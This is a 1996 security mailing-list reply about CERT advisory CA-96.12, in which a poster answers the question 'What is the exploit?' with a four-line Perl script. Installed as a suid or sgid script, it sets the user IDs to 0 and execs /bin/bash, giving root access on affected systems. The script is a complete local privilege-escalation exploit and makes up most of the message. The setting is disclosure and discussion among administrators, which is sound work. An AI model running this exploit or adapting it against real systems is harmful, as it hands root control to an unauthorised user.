Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability

[jlewis () inorganic5 fdt net (Jon Lewis)]

On Fri, 28 Jun 1996 ichudov () algebra com wrote:

> What is the exploit?

Run this as a suid or sgid script.  It doesn't matter what user or group
it's suid/sgid to...it gets root access.

#!/usr/bin/perl
$ENV{PATH}="/bin:/usr/bin";
$>=0;$<=0;
exec("/bin/bash");

Is it just me...or does it give people the willies knowing such an easy
to exploit hole was on their systems...perhaps for years.

------------------------------------------------------------------
 Jon Lewis                      |  Mime attachments are OK
 jlewis () inorganic5 fdt net      |  But please ask before sending
 http://inorganic5.fdt.net      |  unsolicited huge files.
________Finger jlewis () inorganic5 fdt net for PGP public key_______